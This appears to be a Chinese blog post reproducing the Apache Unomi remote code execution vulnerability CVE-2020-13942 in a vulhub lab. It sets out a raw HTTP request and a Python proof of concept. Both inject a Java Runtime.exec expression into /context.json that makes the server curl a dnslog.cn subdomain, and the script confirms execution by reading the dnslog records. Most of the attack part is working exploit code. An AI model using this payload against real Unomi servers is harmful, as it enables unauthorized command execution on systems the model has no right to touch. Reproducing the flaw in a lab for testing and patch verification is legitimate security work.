Apache Unomi 远程表达式代码执行漏洞(CVE-2020-13942),python编写POC

环境搭建:

使用vulhub,进入对应文件夹启动环境:


[root@localhost /]# cd /home/vulhub/unomi/CVE-2020-13942/
[root@localhost CVE-2020-13942]# docker-compose up -d

查看端口:


[root@localhost CVE-2020-13942]# docker ps
CONTAINER ID   IMAGE                 COMMAND                  CREATED          STATUS          PORTS                                                                                  NAMES
90f4b717eb3f   vulhub/unomi:1.5.1    "/docker-entrypoint.…"   23 minutes ago   Up 23 minutes   0.0.0.0:8181->8181/tcp, :::8181->8181/tcp, 0.0.0.0:9443->9443/tcp, :::9443->9443/tcp   cve-2020-13942_web_1
5c2f2cf5bc14   elasticsearch:7.9.3   "/tini -- /usr/local…"   23 minutes ago   Up 23 minutes   9200/tcp, 9300/tcp                                                                     cve-2020-13942_elasticsearch_1
[root@localhost CVE-2020-13942]#

漏洞复现:

POST /context.json HTTP/1.1
Host: 192.168.10.10:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 494

{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"curl 1c6p9a.dnslog.cn
\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}

使用请求dnslog的方式验证命令执行结果。

在这里插入图片描述

POC编写:

import requests,random,time

url = "http://192.168.10.10:8181/"

session = requests.session() # 维持session
dnslog = session.get(f"http://www.dnslog.cn/getdomain.php?t={str(random.random())}").text  # 获取一个子域名

json={"filters": [{"filters": [{"condition": {"parameterValues": {"": f"script::Runtime r = Runtime.getRuntime(); r.exec(\"curl {dnslog}\r\");"}, "type": "profilePropertyCondition"}}], "id": "sample"}], "sessionId": "sample"}
requests.post(url + "context.json",  json=json)
time.sleep(2)

dnslog_res = session.get(f"http://www.dnslog.cn/getrecords.php?t={str(random.random())}").text # 获取这个子域名被请求的结果
if dnslog in dnslog_res:
    print("CVE-2020-13942")

pycharm运行结果:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值